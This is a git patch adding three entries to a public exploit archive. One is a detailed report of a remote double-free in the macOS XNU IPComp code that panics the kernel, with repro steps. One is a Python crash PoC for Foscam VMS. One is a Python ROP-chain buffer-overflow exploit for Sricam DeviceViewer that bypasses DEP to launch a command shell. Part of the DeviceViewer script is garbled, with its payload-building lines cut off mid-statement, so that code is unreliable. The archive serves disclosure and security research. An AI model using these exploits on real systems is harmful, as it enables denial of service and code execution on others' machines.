From da622bb1aa64680c0a6efaef0adcc616cec84725 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 10 Oct 2019 05:01:46 +0000 Subject: [PATCH] DB: 2019-10-10 3 changes to exploits/shellcodes Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC) XNU - Remote Double-Free via Data Race in IPComp Input Path DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass) --- exploits/macos/dos/47479.txt | 264 ++++++++++++++++++++++++++++++++ exploits/windows/dos/47478.py | 25 +++ exploits/windows/local/47477.py | 123 +++++++++++++++ files_exploits.csv | 3 + 4 files changed, 415 insertions(+) create mode 100644 exploits/macos/dos/47479.txt create mode 100755 exploits/windows/dos/47478.py create mode 100755 exploits/windows/local/47477.py diff --git a/exploits/macos/dos/47479.txt b/exploits/macos/dos/47479.txt new file mode 100644 index 000000000..a047e617e --- /dev/null +++ b/exploits/macos/dos/47479.txt @@ -0,0 +1,264 @@ +=== Summary === +This report describes a bug in the XNU implementation of the IPComp protocol +(https://tools.ietf.org/html/rfc3173). This bug can be remotely triggered by an +attacker who is able to send traffic to a macOS system (iOS AFAIK isn't +affected) *over two network interfaces at the same time*. + + +=== Some basics to provide context === +IPComp is a protocol for compressing the payload of IP packets. + +The XNU implementation of IPComp is (going by the last public XNU release) +enabled only on X86-64; ARM64 doesn't seem to have the feature enabled at all +(look for ipcomp_zlib in config/MASTER.x86_64 and config/MASTER.arm64). In other +words, it's enabled on macOS and disabled on iOS. + +While IPComp is related to IPsec, the IPComp input path processes input even +when the user has not configured any IPsec stuff on the system. + +zlib requires fairly large buffers for decompression and especially for +compression. In order to avoid allocating such buffers for each packet, IPComp +uses two global z_stream instances "deflate_stream" and "inflate_stream". +If IPComp isn't used, the buffer pointers in these z_stream instances remain +NULL; only when IPComp is actually used, the kernel will attempt to initialize +the buffer pointers. + +As far as I can tell, the IPComp implementation of XNU has been completely +broken for years, which makes it impossible to actually reach the decompression +code. ipcomp_algorithm_lookup() is responsible for allocating global buffers for +the compression and decompression code; however, all of these allocations go +through deflate_alloc(), which (since xnu-1228, which corresponds to macOS 10.5 +from 2007) calls _MALLOC() with M_NOWAIT. _MALLOC() leads to kalloc_canblock(), +which, if the M_NOWAIT flag was set and the allocation is too big for a kalloc +zone (size >= kalloc_max_prerounded), immediately returns NULL. On X86-64, +kalloc_max_prerounded is 0x2001; both deflateInit2() and inflateInit2() attempt +allocations bigger than that, causing them to fail with Z_MEM_ERROR, as is +visible with dtrace when observing the system's reaction to a single incoming +IPComp packet [empty lines removed]: + +``` +bash-3.2# ./inflate_test.dtrace +dtrace: script './inflate_test.dtrace' matched 11 probes +CPU ID FUNCTION:NAME + 0 243037 deflateInit2_:entry deflate init (thread=ffffff802db84a40) + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x1738, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff80496b9800 + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0xffffff802f42f000 + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2000, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x20000, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 + 0 243038 deflateInit2_:return rval=0xfffffffc + 0 243073 inflateInit2_:entry inflate init (thread=ffffff802db84a40) + 0 224285 kalloc_canblock:entry kalloc_canblock(size=0x2550, canblock=0, site=ffffff8018e787e8) + 0 224286 kalloc_canblock:return kalloc_canblock()=0x0 + 0 243074 inflateInit2_:return rval=0xfffffffc +``` + +(On iOS, the kalloc() limit seems to be higher, so if IPComp was built there, +the input path might actually work?) + + +=== main bug description === +IPComp uses a single global `static z_stream inflate_stream` for decompressing +all incoming packets. This global is used without any locking. While processing +of packets from a single interface seems to be single-threaded, packets arriving +on multiple ethernet interfaces at the same time (or on an ethernet interface +and a non-ethernet interface) can be processed in parallel (see +dlil_create_input_thread() and its caller for the precise threading rules). +Since zlib isn't designed for concurrent use of a z_stream, this leads to memory +corruption. + +If IPComp actually worked, I believe that this bug would lead to +things like out-of-bounds reads, out-of-bounds writes and use-after-frees. +However, since IPComp never actually manages to set up the compression and +decompression state, the bug instead manifests in the code that, for every +incoming IPComp packet, attempts to set up the deflate buffers and tears down +the successfully allocated buffers because some of the allocations failed: + +``` +int ZEXPORT +deflateInit2_(z_streamp strm, int level, int method, int windowBits, + int memLevel, int strategy, const char *version, + int stream_size) +{ + [...] + if (memLevel < 1 || memLevel > MAX_MEM_LEVEL || method != Z_DEFLATED || + windowBits < 8 || windowBits > 15 || level < 0 || level > 9 || + strategy < 0 || strategy > Z_FIXED) { + return Z_STREAM_ERROR; + } + if (windowBits == 8) windowBits = 9; /* until 256-byte window bug fixed */ + s = (deflate_state *) ZALLOC(strm, 1, sizeof(deflate_state)); + if (s == Z_NULL) return Z_MEM_ERROR; + strm->state = (struct internal_state FAR *)s; + [...] + s->window = (Bytef *) ZALLOC(strm, s->w_size, 2*sizeof(Byte)); + s->prev = (Posf *) ZALLOC(strm, s->w_size, sizeof(Pos)); + s->head = (Posf *) ZALLOC(strm, s->hash_size, sizeof(Pos)); + + s->lit_bufsize = 1 << (memLevel + 6); /* 16K elements by default */ + + overlay = (ushf *) ZALLOC(strm, s->lit_bufsize, sizeof(ush)+2); + s->pending_buf = (uchf *) overlay; + [...] + if (s->window == Z_NULL || s->prev == Z_NULL || s->head == Z_NULL || + s->pending_buf == Z_NULL) { + [...] + deflateEnd (strm); + return Z_MEM_ERROR; + } + [...] +} +[...] +int ZEXPORT +deflateEnd(z_streamp strm) +{ + [...] + /* Deallocate in reverse order of allocations: */ + TRY_FREE(strm, strm->state->pending_buf); + TRY_FREE(strm, strm->state->head); + TRY_FREE(strm, strm->state->prev); + TRY_FREE(strm, strm->state->window); + + ZFREE(strm, strm->state); + strm->state = Z_NULL; + + return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; +} +``` + +When multiple executions of this code race, it is possible for two threads to +free the same buffer, causing a double-free: + +``` +*** Panic Report *** +panic(cpu 2 caller 0xffffff8012802df5): "zfree: double free of 0xffffff80285d9000 to zone kalloc.8192\n"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-4903.261.4/osfmk/kern/zalloc.c:1304 +Backtrace (CPU 2), Frame : Return Address +0xffffff912141b420 : 0xffffff80127aea2d mach_kernel : _handle_debugger_trap + 0x47d +0xffffff912141b470 : 0xffffff80128e9e95 mach_kernel : _kdp_i386_trap + 0x155 +0xffffff912141b4b0 : 0xffffff80128db70a mach_kernel : _kernel_trap + 0x50a +0xffffff912141b520 : 0xffffff801275bb40 mach_kernel : _return_from_trap + 0xe0 +0xffffff912141b540 : 0xffffff80127ae447 mach_kernel : _panic_trap_to_debugger + 0x197 +0xffffff912141b660 : 0xffffff80127ae293 mach_kernel : _panic + 0x63 +0xffffff912141b6d0 : 0xffffff8012802df5 mach_kernel : _zcram + 0xa15 +0xffffff912141b710 : 0xffffff8012804d4a mach_kernel : _zfree + 0x67a +0xffffff912141b7f0 : 0xffffff80127bac58 mach_kernel : _kfree_addr + 0x68 +0xffffff912141b850 : 0xffffff8012dfc837 mach_kernel : _deflateEnd + 0x87 +0xffffff912141b870 : 0xffffff8012dfc793 mach_kernel : _deflateInit2_ + 0x253 +0xffffff912141b8c0 : 0xffffff8012c164a3 mach_kernel : _ipcomp_algorithm_lookup + 0x63 +0xffffff912141b8f0 : 0xffffff8012c16fb2 mach_kernel : _ipcomp4_input + 0x112 +0xffffff912141b990 : 0xffffff8012b89907 mach_kernel : _ip_proto_dispatch_in_wrapper + 0x1a7 +0xffffff912141b9e0 : 0xffffff8012b8bfa6 mach_kernel : _ip_input + 0x18b6 +0xffffff912141ba40 : 0xffffff8012b8a5a9 mach_kernel : _ip_input_process_list + 0xc69 +0xffffff912141bcb0 : 0xffffff8012aac3ed mach_kernel : _proto_input + 0x9d +0xffffff912141bce0 : 0xffffff8012a76c41 mach_kernel : _ether_attach_inet + 0x471 +0xffffff912141bd70 : 0xffffff8012a6b036 mach_kernel : _dlil_rxpoll_set_params + 0x1b36 +0xffffff912141bda0 : 0xffffff8012a6aedc mach_kernel : _dlil_rxpoll_set_params + 0x19dc +0xffffff912141bf10 : 0xffffff8012a692e9 mach_kernel : _ifp_if_ioctl + 0x10d9 +0xffffff912141bfa0 : 0xffffff801275b0ce mach_kernel : _call_continuation + 0x2e + +BSD process name corresponding to current thread: kernel_task +Boot args: -zp -v keepsyms=1 + +Mac OS version: +18F132 + +Kernel version: +Darwin Kernel Version 18.6.0: Thu Apr 25 23:16:27 PDT 2019; root:xnu-4903.261.4~2/RELEASE_X86_64 +Kernel UUID: 7C8BB636-E593-3CE4-8528-9BD24A688851 +Kernel slide: 0x0000000012400000 +Kernel text base: 0xffffff8012600000 +__HIB text base: 0xffffff8012500000 +System model name: Macmini7,1 (Mac-XXXXXXXXXXXXXXXX) +``` + + +=== Repro steps === +You'll need a Mac (I used a Mac mini) and a Linux workstation. +Stick two USB ethernet adapters into the Mac. +Make sure that your Linux workstation has two free ethernet ports; if it +doesn't, also stick USB ethernet adapters into your workstation. +Take two ethernet cables; for both of them, stick one end into the Linux +workstation and the other end into the Mac. +Set up static IP addresses for both interfaces on the Linux box and the Mac. I'm +using: + + - Linux, first connection: 192.168.250.1/24 + - Mac, first connection: 192.168.250.2/24 + - Linux, second connection: 192.168.251.1/24 + - Mac, second connection: 192.168.251.2/24 + +On the Linux workstation, ping both IP addresses of the Mac, then dump the +relevant ARP table entries: + +``` +$ ping -c1 192.168.250.2 +PING 192.168.250.2 (192.168.250.2) 56(84) bytes of data. +64 bytes from 192.168.250.2: icmp_seq=1 ttl=64 time=0.794 ms +[...] +$ ping -c1 192.168.251.2 +PING 192.168.251.2 (192.168.251.2) 56(84) bytes of data. +64 bytes from 192.168.251.2: icmp_seq=1 ttl=64 time=0.762 ms +[...] +$ arp -n | egrep '192\.168\.25[01]' +192.168.250.2 ether aa:aa:aa:aa:aa:aa C eth0 +192.168.251.2 ether bb:bb:bb:bb:bb:bb C eth1 +$ +``` + +On the Linux workstation, build the attached ipcomp_uaf.c and run it: + +``` +$ gcc -o ipcomp_recursion ipcomp_recursion.c -Wall +$ sudo bash +# ./ipcomp_uaf +usage: ./ipcomp_uaf +# ./ipcomp_uaf eth0 aa:aa:aa:aa:aa:aa 192.168.250.1 192.168.250.2 eth1 bb:bb:bb:bb:bb:bb 192.168.251.1 192.168.251.2 +``` + +After something like a second, you should be able to observe that the Mac panics. +I have observed panics via double-free and via null deref triggered by the PoC. +(Stop the PoC afterwards, otherwise it'll panic again as soon as the network +interfaces are up.) + +(The PoC also works if you use broadcast addresses as follows: ``` +# ./ipcomp_uaf eth0 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 eth1 ff:ff:ff:ff:ff:ff 0.0.0.0 255.255.255.255 +```) + + +=== Fixing the bug === +I believe that by far the best way to fix this issue is to rip out the entire +feature. Unless I'm missing some way for the initialization to succeed, it looks +like nobody can have successfully used this feature in the last few years; and +apparently nobody felt strongly enough about that to get the feature fixed. +At the same time, this thing is remote attack surface in the IP stack, and it +looks like it has already led to a remote DoS bug in the past - the first search +result on bing.com for both "ipcomp macos" and "ipcomp xnu" is +. + +In case you decide to fix the bug in a different way, please note: + + - I believe that this can *NOT* be fixed by removing the PR_PROTOLOCK flag from + the entries in `inetsw` and `inet6sw`. While removal of that flag would cause + the input code to take the domain mutex before invoking the protocol handler, + IPv4 and IPv6 are different domains, and so concurrent processing of + IPv4+IPComp and IPv6+IPComp packets would probably still trigger the bug. + - If you decide to fix the memory allocation of IPComp so that the input path + works again (please don't - you'll never again have such a great way to prove + that nobody is using that code), I think another bug will become reachable: + I don't see anything that prevents unbounded recursion between + ip_proto_dispatch_in() and ipcomp4_input() using an IP packet with a series + of IPComp headers, which would be usable to cause a kernel panic via stack + overflow with a single IP packet. + In case you want to play with that, I wrote a PoC that generates packets with + 100 such headers and attached it as ipcomp_recursion.c. + (The other IPv6 handlers for pseudo-protocols like IPPROTO_FRAGMENT seem to + avoid this problem by having the ) + + +Proof of Concept: +https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47479.zip \ No newline at end of file diff --git a/exploits/windows/dos/47478.py b/exploits/windows/dos/47478.py new file mode 100755 index 000000000..b0d8e22c8 --- /dev/null +++ b/exploits/windows/dos/47478.py @@ -0,0 +1,25 @@ +# Exploit Title: Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC) +# Author: Alessandro Magnosi +# Date: 2019-10-09 +# Vendor Homepage: https://www.foscam.com/ +# Software Link : https://www.foscam.com/downloads/appsoftware.html?id=5 +# Tested Version: 1.1.6.6 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: Windows 7 SP1 x86 en, Windows 10 Pro x64 it + +# Steps to Produce the Crash: +# 1.- Run python code : python foscam-vms-uid-dos.py +# 2.- Open FoscamVMS1.1.6.txt and copy its content to clipboard +# 3.- Open FoscamVMS +# 4.- Go to Add Device +# 5.- Choose device type "NVR" +# 6.- Copy the content of the file into UID +# 7.- Click on Login Check +# 8.- Crashed + +#!/usr/bin/python + +buffer = "A" * 5000 +f = open ("FoscamVMS1.1.6.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/47477.py b/exploits/windows/local/47477.py new file mode 100755 index 000000000..94226be96 --- /dev/null +++ b/exploits/windows/local/47477.py @@ -0,0 +1,123 @@ +# Exploit Title: Sricam DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass) +# Date: 08/10/2019 +# Exploit Author: Alessandro Magnosi +# Vendor Homepage: http://www.sricam.com/ +# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe +# Version: v3.12.0.1 +# Exploit type: Local +# Tested on: Windows 7 SP1 + +# Steps to reproduce: +# 1. Get the WinExec address from arwin.exe kernel32.dll WinExec +# 2. Change the related address in the PoC +# 3. Generate the payload using the PoC +# 4. Log in the Sricam DeviceViewer application +# 5. Go to System Configuration -> User Management +# 6. Put the content of the generated file in User Info -> Username +# 7. Click on Add +# 8. A command shell will appear + +#!/usr/bin/python + +from struct import pack, unpack + +def create_rop_chain(): + + rops = [ + + 0x6a1142aa, # XOR EDX,EDX # RETN + + 0x6a569810, # POP EDX # RETN [avcodec-54.dll] + 0x6ae9c126, # &Writable location [avutil-50.dll] + + 0x6a5dac8a, # POP EAX # RETN + 0xff9b929d, # NEG "cmd\0" + + 0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll] + + 0x6994766b, # PUSH EAX # MOV DWORD PTR DS:[EDX],EAX # ADD ESP,3C # POP EBX # POP ESI # POP EDI # POP EBP # RETN [avformat-54.dll] + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + + 0x6a18e062, # ADD ESP, 10 # RETN ---> ESI + 0x6a2420ea, # ROP NOP ---> EDI + + 0x6a45e446, # XCHG EAX,EDX # RETN [avcodec-54.dll] + 0x6a29d716, # XCHG EAX,ECX # RETN [avcodec-54.dll] + + ## ECX = ascii "cmd\0" + + 0x6a569810, # POP EDX # RETN [avcodec-54.dll] + 0x6a36264a, # CALL EBX + + ## EDX = CALL EBX + + 0x6a5dac8a, # POP EAX # RETN + 0x76e33231, # ptr to WinExec() [kernel32.dll] + #### Unfortunately, this has to be hardcoded as no reliable pointer is available into the aplication + + 0x6a150411, # XCHG EAX,EBX # RETN [avcodec-54.dll] + + ## EBX = &WinExec + + 0x6a5dac8a, # POP EAX # RETN + 0xffffffff, # -0x00000001-> ebx + 0x6a2420e8, # NEG EAX # RETN [avcodec-54.dll] + + ## EAX = 1 + + 0x6a5eb992, # PUSHAD # RETN [avcodec-54.dll] + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + 0x6a2420ea, # ROP NOP + ] + return ''.join(pack('") + print("[+] A command shell will open") +except: + print("[!] Error creating the file") \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index c1b43c91d..2a0773756 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6569,6 +6569,8 @@ id,file,description,date,author,type,platform,port 47451,exploits/multiple/dos/47451.html,"WebKit - Universal XSS in WebCore::command",2019-10-01,"Google Security Research",dos,multiple, 47452,exploits/multiple/dos/47452.html,"WebKit - User-agent Shadow root Leak in WebCore::ReplacementFragment::ReplacementFragment",2019-10-01,"Google Security Research",dos,multiple, 47453,exploits/multiple/dos/47453.txt,"WebKit - Universal XSS Using Cached Pages",2019-10-01,"Google Security Research",dos,multiple, +47478,exploits/windows/dos/47478.py,"Foscam Video Management System 1.1.6.6 - 'UID' Denial of Service (PoC)",2019-10-09,"Alessandro Magnosi",dos,windows, +47479,exploits/macos/dos/47479.txt,"XNU - Remote Double-Free via Data Race in IPComp Input Path",2019-10-09,"Google Security Research",dos,macos, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10702,6 +10704,7 @@ id,file,description,date,author,type,platform,port 47466,exploits/linux/local/47466.c,"logrotten 3.15.1 - Privilege Escalation",2019-10-07,"Wolfgang Hotwagner",local,linux, 47468,exploits/windows_x86-64/local/47468.py,"ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)",2019-10-07,max7253,local,windows_x86-64, 47471,exploits/windows/local/47471.txt,"CheckPoint Endpoint Security Client/ZoneAlarm 15.4.062.17802 - Privilege Escalation",2019-10-07,"Jakub Palaczynski",local,windows, +47477,exploits/windows/local/47477.py,"DeviceViewer 3.12.0.1 - 'add user' Local Buffer Overflow (DEP Bypass)",2019-10-09,"Alessandro Magnosi",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139